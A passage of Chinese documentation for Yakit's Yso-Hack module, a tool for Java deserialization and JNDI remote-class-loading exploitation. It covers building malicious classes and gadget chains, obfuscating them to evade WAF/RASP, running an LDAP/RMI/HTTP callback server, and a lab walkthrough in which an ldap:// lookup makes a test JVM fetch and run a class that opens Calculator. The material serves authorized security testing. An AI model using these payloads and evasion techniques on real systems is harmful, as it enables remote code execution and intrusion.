2.3.8 Yso-Hack - Java 反序列化与类加载利用框架
在前续章节中,我们探讨了自动化扫描与通用漏洞利用工具。然而,在以 Java 为核心的企业级技术栈中,存在一类高危且上下文强相关的安全软肋——Java 反序列化与远程类加载(如 JNDI 注入)。这类漏洞的触发与利用条件极为苛刻,强依赖于目标环境的 JDK 版本、中间件类型以及类路径中存在的特定库(Gadgets),因此无法通过传统的、基于固定签名的漏洞扫描器进行有效评估。它要求安全工程师具备动态构造攻击载荷,并建立可靠带外信道(OOB)进行验证的能力。
为应对这一高级威胁场景,Yakit 设计了核心利用组件 Yso-Hack。本节将深入剖析该模块,并围绕其两大核心设计命题展开:其一,是它作为攻击载荷工厂(Payload Factory)的精准构造与混淆能力;其二,是它作为验证枢纽(Verification Hub)的一体化反连与利用工作流。理解 Yso-Hack 的工作原理,意味着掌握了从根本上剖析并武器化利用 Java 核心安全问题的关键方法论。
Yso-Hack 的强大之处首先体现在其高度可配置的 Payload 生成引擎。它不仅支持面向反序列化漏洞(如 Fastjson、Jackson)和类加载漏洞(如 JNDI 注入)生成定制化载荷,更允许用户精细化地选择利用链、适配目标 Java 版本,并应用常量混淆、脏数据填充等多种实战化混淆策略,以规避 WAF 或 RASP 等纵深防御体系的检测。同时,为了完成攻击的最终闭环,Yso-Hack 内置了一个集成的多协议反连平台(HTTP、LDAP、RMI),并原生支持公网穿透,确保无论目标位于何种复杂网络环境,其漏洞触发的回调信号都能被准确捕获和验证。通过灵活的导出格式(如 BASE64、YAK 代码或可供分析的 DUMP 文件),这些强大的构造与验证能力得以无缝融入任何复杂的安全测试流程中。
2.3.8.1 技术原理:非原生实现的 Java 安全验证体系
Yso-Hack 的技术架构核心在于其实现了一套完全独立于 Java 生态系统的漏洞利用与验证框架。它从根本上摆脱了对本地 Java 运行时环境(JRE/JVM)的任何依赖,从而解决了传统 Java 安全工具普遍存在的环境配置复杂、版本依赖冲突以及分发不便的核心痛点。其技术基石是通过一种高性能的编译型语言,从零实现了一整套用于解析、构造和操纵 Java 核心二进制格式的底层 API,使得 Yso-Hack 作为一个单一的可执行文件,具备了前所未有的便携性与跨平台能力。
这一非原生实现主要涵盖两大关键领域:对 Java Class 文件格式的字节码级操控,以及对 Java 对象序列化协议的二进制流级模拟。
Java Class 文件格式的深度解析与生成
Yso-Hack 内置了一个完全遵循 Java 虚拟机规范(JVMS)的字节码操作引擎。与依赖 javac 编译器或 ASM 等 Java 库的工具不同,它能够在不启动任何 Java 进程的情况下,直接在内存中生成和修改合法的 Java Class 文件字节码。这意味着:
-
程序化构造恶意类:针对 JNDI 注入等远程类加载场景,Yso-Hack 能够动态生成包含恶意逻辑(如在静态初始化块
<clinit>中嵌入命令执行代码)的 Class 文件。用户可像调用函数一样指定类名、父类、方法和指令集,生成高度定制化的攻击载荷。 -
字节码结构分析与混淆:该模块具备对 Class 文件格式(如魔数、版本号、常量池)的完整解析能力。这不仅为反编译分析提供了基础,更重要的是,它被用于实现高级混淆策略,例如通过直接修改常量池中的字符串来隐藏敏感命令,或调整指令顺序来规避静态特征码检测。在 Yakit 的实现中,相关逻辑可以在
common/crep/classfile等路径下的代码中找到。
Java 对象序列化协议的精确模拟与构造
Yso-Hack 的另一核心能力,是其对 Java 对象序列化协议(Java Object Serialization Stream Protocol)的精确再实现。它能够以二进制方式,严格遵循协议规范(如魔数 AC ED、版本号、流语法),直接构造包含预设 Gadget Chain 的数据流。这种实现方式赋予了工具极高的灵活性与控制力:
-
Gadget Chain 原生构造:它无需通过 Java 的
ObjectOutputStream来序列化真实对象,而是直接在字节层面拼接出利用链所需的序列化对象描述(如TC_OBJECT,TC_PROXYCLASSDESC)。这使得构造过程完全可控,可以精确嵌入任意利用链(如TemplatesImpl),并动态填充命令执行参数。 -
协议级混淆:由于直接控制二进制流,Yso-Hack 可以在不破坏反序列化逻辑的前提下,向数据流中插入协议允许的“无害”字节(如
TC_RESET指令)或非标准数据块,实现脏数据填充,从而有效对抗依赖于固定模式匹配的防御规则。
统一反连服务器的应用层协议智能识别
为完成攻击验证闭环,Yso-Hack 集成了一个基于高性能网络库构建的反连服务器。其关键技术是应用层协议嗅探(Application-Layer Protocol Sniffing),使其能在单个端口上监听并智能区分多种协议。当一个 TCP 连接建立时,服务器会读取最初的几个字节,根据其独特的协议指纹(如 GET / 判断为 HTTP,LDAP 协议的特定 ASN.1 结构)来识别请求类型,并分派给对应的处理器动态响应。例如,在接收到 LDAP 请求时,它会返回一个精心构造的、包含 javaReferenceAddress 字段的响应,该地址指向其自身 HTTP 服务端口以下载前述生成的恶意 Class 文件,形成一个无缝的攻击与验证闭环。
通过将 Java 漏洞的生成与验证过程从 Java 生态中彻底解耦,Yso-Hack 将这一复杂的安全任务转变为一种自包含、高度便携的工程化能力。它消除了对目标环境的依赖,为安全研究人员和测试工程师提供了无与伦比的部署灵活性与操作效率。
2.3.8.2 交互式 Payload 构建与验证
前文我们深入探讨了 Yso-Hack 采用非原生实现来构建 Java 安全验证体系的技术原理。本节将从工程实践的角度,详细解析其核心交互界面——Payload 生成器。我们将从功能入口开始,逐步分解其界面布局、配置选项和操作流程,展示如何利用该工具高效地构建和验证针对 Java 漏洞的攻击载荷。
Yso-Hack - Java 模块的访问入口位于 Yakit 主界面的“反连”功能区。用户通过点击该功能区中带有“Yso”标识的服务器图标,即可激活此高级 Payload 生成模块,并在主工作区打开一个新的“Yso-Java Hack”标签页,如图所示。
图:Yakit反连模块中RevHack功能界面展示
该模块的交互界面遵循了左侧配置、右侧输出的经典布局,旨在实现配置过程与生成结果的直观分离,并支持通过“+”号创建多个配置标签页,便于并行处理不同场景的任务。
-
左侧:JavaPayload 配置区 此区域是整个操作流程的核心。其设计围绕一个关键开关——“使用利用链”——来区分两种核心的 Payload 生成模式:
-
类加载 Payload(开关关闭):默认模式,用于生成恶意的 Java Class 文件字节码,适用于 JNDI 注入等需要目标远程加载类的漏洞场景。
-
序列化 Payload(开关开启):切换至此模式后,界面会展开针对 Java 反序列化漏洞的配置选项,允许用户选择具体的 Gadget 利用链,并进行高级混淆设置(如脏数据填充、双字节编码等)。
-
-
右侧:代码输出区 此区域作为 Payload 的即时输出窗口。当用户点击“生成”按钮后,最终的攻击载荷会在此处显示。为适应不同协议和传输需求,输出区支持多种编码与格式的快速切换,包括:
-
BASE64 / HEX:通用的文本编码格式,便于在 HTTP 请求或命令行中传输。
-
YAK:生成Yak语言编程脚本以生成字节码,方便在其他脚本中使用。
-
DUMP:原始的二进制字节流,用于深度分析或自定义处理。
-
-
顶部:核心操作按钮 界面顶部的“生成”与“启动反连”按钮是整个流程的执行控制器。
-
生成:该按钮根据左侧配置区的所有设定,实时构建最终的攻击载荷并将其呈现在右侧输出区。
-
启动反连:一键启动一个内置的多协议反连服务器(详见后续章节),用于接收由 Payload 触发的反向连接或请求,从而完成漏洞的闭环验证。
-
类加载漏洞:利用场景与原理
Java 类加载机制允许动态加载类字节码到 JVM 中执行,常用于扩展应用功能。然而,这一机制在某些场景下可能被恶意利用,尤其是当攻击者可控制类加载的路径或内容时。类加载漏洞的核心在于,攻击者通过协议(如 JNDI、RMI 或 LDAP)诱导目标系统加载外部提供的恶意 .class 文件,从而执行任意代码。常见漏洞场景包括 JNDI 注入(如 Log4j CVE-2021-44228),其中攻击者通过 JNDI Lookup 请求触发远程类加载,导致远程代码执行(RCE)。
以下是常见利用方式:
-
JNDI 注入:攻击者通过 JNDI Lookup 请求指定远程 RMI/LDAP 地址,诱导目标加载恶意类。例如,Log4j 漏洞利用 LDAP 返回 javaReferenceAddress,指向恶意 .class 文件。
-
RMI 动态加载:利用 RMI 协议的动态类加载特性,攻击者部署 RMI 服务器,返回恶意 RemoteObject,触发目标系统加载。
-
LDAP 类加载:通过 LDAP 协议返回包含 javaCodeBase 属性的条目,指向恶意类文件,常用于内网环境。
-
上传插件或自定义功能 Class:攻击者通过目标系统支持的上传功能(如 Web 应用管理界面)上传恶意 .class 文件或jar包,随后通过配置类加载路径(如 Tomcat 的 ClassLoader)或直接调用加载方法(如 Class.forName)触发执行。
如下是一个JNDI注入漏洞利用的时序图:
图:Java远程类加载(JNDI注入)攻击流程示意图
在整个利用流程中的核心是恶意 .class 字节码文件。在 Yakit 中,生成逻辑极为简便,在Payload 配置页面关闭使用利用链,然后配置以下关键字段:
-
恶意类选择:当前可用的类列表
-
混淆:编码常量混淆以对抗 WAF 静态规则
-
类名:可自定义恶意类名,指定
ClassLoader加载时的类名 -
Java 版本:设置字节码的 major.minor 版本号,确保兼容目标 JVM 版本
-
类参数:用于生成类,可以灵活控制生成类的功能。
如下配置生成了一个在通过static代码块执行whoami命令的class:
图:Yakit JavaPayload 配置界面与生成的恶意类代码
反序列化漏洞:利用场景与原理
Java 反序列化漏洞广泛存在于依赖序列化机制的应用程序中。当目标系统在反序列化用户控制的数据时,若未对输入进行充分验证,攻击者可通过构造恶意序列化数据注入恶意 Gadget,触发任意代码执行(RCE)。此类漏洞常见于未正确过滤的序列化输入场景,如 Web 应用的 JSON 或 XML 处理,威胁包括远程命令执行、文件操作或反弹 Shell。
利用原理概述: Java 反序列化漏洞利用依赖于 Gadget 链,即通过序列化数据中嵌套的对象引用,触发预定义的恶意逻辑。攻击者构造的序列化 Payload 在目标系统反序列化时,调用链中的对象方法(如 setter 或反射调用)执行恶意代码。Yso-Hack - Java 模块支持两种核心利用链:TemplatesImpl 类型链和 ChainedTransformer 类型链,分别基于不同的 Java 类和执行机制。
-
TemplatesImpl 类型链原理: TemplatesImpl 类型链利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类的特性。该类允许通过字节码定义 Transformer 实现,并在反序列化时通过 newTransformer() 方法触发类加载和执行。攻击者将恶意 .class 字节码嵌入 Payload,配置为 TemplatesImpl 实例的属性(_bytecodes属性),反序列化时,JVM 会加载并执行该类,实现任意代码执行。
-
ChainedTransformer 类型链原理: ChainedTransformer 类型链基于 Apache Commons-Collections 库中的 Transformer 接口,通过链式调用构造恶意执行流程。攻击者利用 ChainedTransformer 对象序列化一组 Transformer(如 ConstantTransformer、InvokerTransformer),在反序列化时通过反射执行字符串命令(如 Runtime.getRuntime().exec())。该链依赖于 LazyMap 或 AnnotationInvocationHandler 等 Gadget,将恶意逻辑隐藏在对象属性中,触发时执行预设命令。
在Yakit中生成序列化链需要开启 “使用利用链”,在下拉菜单中第一列选择 Gadget(如 CommonsBeanutils1),第二列选择执行功能(如 TcpReverseExec、ProcessExec 等)。
对于上面提到的两种类型利用链,在Yakit中配置项有一些区别:
-
TemplatesImpl 类型链
-
类名:Payload 中载入 TemplatesImpl 的类名
-
混淆、脏数据、双字节字符:增强对抗检测能力
-
Java版本:类兼容性
-
类参数:用于传递给生成类
-
-
ChainedTransformer 类型链
-
脏数据、双字节字符:增强对抗检测能力
-
其它参数:用于传递给生成的Gadget
如下是一个CommonsCollections2链执行
whoami的案例: -
图:Yakit JavaPayload利用链生成界面
2.3.8.3 Java 漏洞验证:多协议反连服务
前文我们详细拆解了 Yso-Java 模块如何独立于 JVM 环境生成两种核心类型的 Payload。然而,Payload 的生成仅是漏洞验证的第一步,如何高效地投递这些 Payload 并接收来自目标系统的反馈,是完成整个攻击与验证闭环的关键。为此,Yso-Hack 提供了一个强大的多协议反连服务,它不仅是 Payload 的宿主,更是验证漏洞是否成功触发的监控平台。
本节我们将深入探讨该反连服务的两大核心命题:其单端口协议嗅探的技术实现原理,以及其在漏洞验证中的工程化实践工作流。通过学习本章,您将掌握如何配置并启动一个能同时处理 HTTP、RMI 及 LDAP 请求的智能服务器,并了解如何将其与 Payload 生成器联动,实现对复杂 Java 漏洞的精准验证。
核心原理:单端口应用层协议嗅探
反连服务的技术基石是应用层协议嗅探(Application-Layer Protocol Sniffing),它实现了在单一 TCP 端口上复用多种服务协议的能力。传统的网络服务通常遵循“一个端口对应一个服务”的模式,而该技术则打破了这一限制,极大地提升了部署的灵活性并简化了防火墙策略配置。
其工作流程如下:当一个客户端与服务器建立 TCP 连接后,服务器并不立即假设其协议类型,而是进入一个短暂的“嗅探”状态。它会读取该连接发送的最初几个字节(即首个数据包),并根据这些字节的独特二进制指纹来识别客户端意图。例如:
-
以
GET /或POST /等 ASCII 字符开头的,被识别为 HTTP 协议。 -
符合 ASN.1 编码规范且带有特定结构标记的,被识别为 LDAP 协议。
-
以
JRMI魔数开头的,被识别为 RMI 协议。
一旦协议被识别,服务器便会将该连接分派给对应的协议处理器,由其生成并返回符合该协议规范的恶意响应。这一过程的时序逻辑如下图所示:
图:单端口应用层协议嗅探交互流程示意图
通过这种机制,一个监听在 8080 端口的服务,既可以为 JNDI 注入提供 LDAP/RMI 服务,也能为远程类加载提供 HTTP 文件下载服务,实现了资源的高度整合与利用。
服务配置与启动:本地与远程穿透
Yso-Hack 的反连服务支持两种部署模式,以适应不同网络环境下的测试需求:本地监听与公网穿透。
-
本地反连配置 此模式适用于在本地网络或可直接访问的目标环境中进行测试。配置参数简洁明了:
-
反连地址:指定服务器绑定的本地网卡 IP。通常可设为特定的内网 IP,或使用
0.0.0.0以监听所有可用网络接口。 -
监听端口:指定服务器监听的 TCP 端口。
-
图:Yakit公网穿透服务配置界面
-
远程反连配置(公网穿透) 当测试目标位于公网,而 Yakit 运行在内网(如 NAT 后)时,此模式通过 Yakit 的 Bridge 模块实现内网穿透。
-
启用公网穿透:激活该选项以切换至远程模式。
-
公网 Bridge 地址:填写已在公网服务器上部署的
yak bridge服务地址及端口。 -
密码:连接
yak bridge所需的认证密钥。 -
监听端口:希望在公网服务器上监听的远程端口。
-
图:Yakit 启用公网穿透配置界面
配置完成后,点击“启动反连”按钮,服务将进入监听状态。在穿透模式下,Yakit 会首先与远程 Bridge 建立加密隧道,再通过该隧道将本地服务映射至公网端口。
执行与监控:交互界面解析
服务成功启动后,界面会转变为一个集状态显示与实时监控于一体的仪表盘。
图:Yakit反连服务器交互界面展示
该界面的核心组成部分包括:
-
协议端点信息:顶部清晰地列出了当前服务器已激活的各个协议的完整访问 URL(例如
http://...,rmi://...,ldap://...)。这些 URL 可直接复制用于 Payload 配置或漏洞利用。 -
连接日志表:以表格形式实时展示所有入站连接的详细信息,是观察漏洞触发过程的主要窗口。关键字段包括:
-
反连类型:已识别的客户端连接协议(HTTP, RMI, LDAP)。
-
连接来源:客户端的 IP 地址和端口。
-
TOKEN:一个可选的唯一标识符,用于在多个并发测试中精确追踪特定的 Payload 触发事件。
-
-
Payload 配置入口:右上角的“Payload 配置”开关,是连接 Payload 生成与反连服务的桥梁,点击后将在左侧面板展开配置界面。
核心工作流:动态 Payload 联动与验证
反连服务的最终价值在于其与 Payload 生成器的无缝联动,形成一个自动化的漏洞验证闭环。以下是典型的操作工作流:
图:Yakit反连服务器配置与Payload联动流程
-
加载并配置 Payload:在反连服务启动后,点击右上角的“Payload 配置”开关。左侧会展开与主生成器完全一致的配置面板。根据漏洞类型,配置相应的 Class Payload 或序列化利用链,然后点击“生成”。此时,生成的 Payload 不会直接显示,而是被自动加载到反连服务器的协议处理器中。
-
触发漏洞利用:在目标系统上触发漏洞,并使其访问反连服务器提供的协议地址。例如,在一个存在 Fastjson JNDI 注入漏洞的场景中,Payload 应设置为
ldap://<反连服务器IP>:<端口>/<标识>。 -
服务器动态响应与结果观察:
-
当目标系统通过 LDAP 协议连接时,反连服务器会根据预设的 Payload,返回一个包含
javaReferenceAddress的恶意 LDAP 响应,该地址将指向其自身的 HTTP 服务。 -
随即,目标系统的 JVM 会尝试访问该 HTTP 地址。此时,连接日志表中将先后出现两条记录:一条 LDAP 连接和一条 HTTP 连接,均来自目标 IP。
-
对于这条 HTTP 请求,服务器会返回步骤 1 中生成的恶意 Class 文件的字节码。
-
通过观察连接日志表中 协议类型正确、连接来源符合预期 且 连接顺序逻辑自洽(如 JNDI 注入场景下的 LDAP -> HTTP 序列),即可精准地验证远程漏洞的存在与可利用性。
LDAP 注入漏洞验证案例
案例描述
LDAP 注入漏洞是一种常见的应用程序安全隐患,攻击者可通过注入恶意 LDAP 查询执行未经授权的操作或加载远程代码。本案例利用 Yakit 多协议反连服务,验证 LDAP 注入漏洞的存在性,以 macOS 系统弹出计算器为例,展示漏洞利用流程。
环境准备
-
JDK 版本: Java 11 (v11.0.14)
-
目标环境: macOS 系统
-
Payload 生成工具: Yakit 多协议反连模块。
-
测试步骤
-
配置 Yakit
-
在 Yakit 平台中配置多协议反连服务,上传攻击 Payload。
-
Payload 配置为 open /System/Applications/Calculator.app,用于触发 macOS 计算器应用。
-
-
图:Yakit JavaPayload配置界面展示
2. **编写测试代码**
- 创建以下 Java 文件 JndiTest\.java 用于测试 LDAP JNDI 注入:
```Java
import javax.naming.Context;
import javax.naming.InitialContext;
public class JndiTest {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(args[0]); // 查找指定的 JNDI 资源
}
}
```
3. **编译与执行**
- 在命令行中编译代码:
```Bash
> javac JndiTest.java
```
- 执行程序,启用 JNDI 信任远程代码基地址,并指定 LDAP 服务器地址为 Yakit 面板上提供的 LDAP 协议 url:
```Bash
> java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true JndiTest ldap://192.168.3.4:8085/vHcspmGg
```
验证结果
执行上述命令后,macOS 系统成功弹出计算器应用程序。在 Yakit 的反连模块中,可观察到反连日志面板上存在两条记录,分别为 LDAP 类型和 HTTP 类型。
图:Yakit LDAP 反连连接状态展示
原理分析
案例中的代码调用了 InitialContext 的 lookup 方法,并将指定的 URL(ldap://192.168.3.4:8085/vHcspmGg)作为参数传入。该 URL 指向 LDAP 资源,触发了 LDAP 的远程资源加载机制。具体流程如下:
-
当目标应用程序调用 InitialContext.lookup() 时,LDAP 服务器返回一个 Reference 对象,该对象包含 codebase 属性。
-
codebase 指向一个 HTTP 地址(在本案例中为 Yakit 反连服务的地址,例如 http://192\.168\.3\.4:8085)。
-
目标 JVM 从该 HTTP 地址下载指定的恶意类文件(例如 vHcspmGg.class)。
-
恶意类被加载并执行,导致系统命令 open /System/Applications/Calculator.app 被触发,从而弹出计算器。
如图是整个复现流程的时序图
图:JNDI注入攻击流程示意图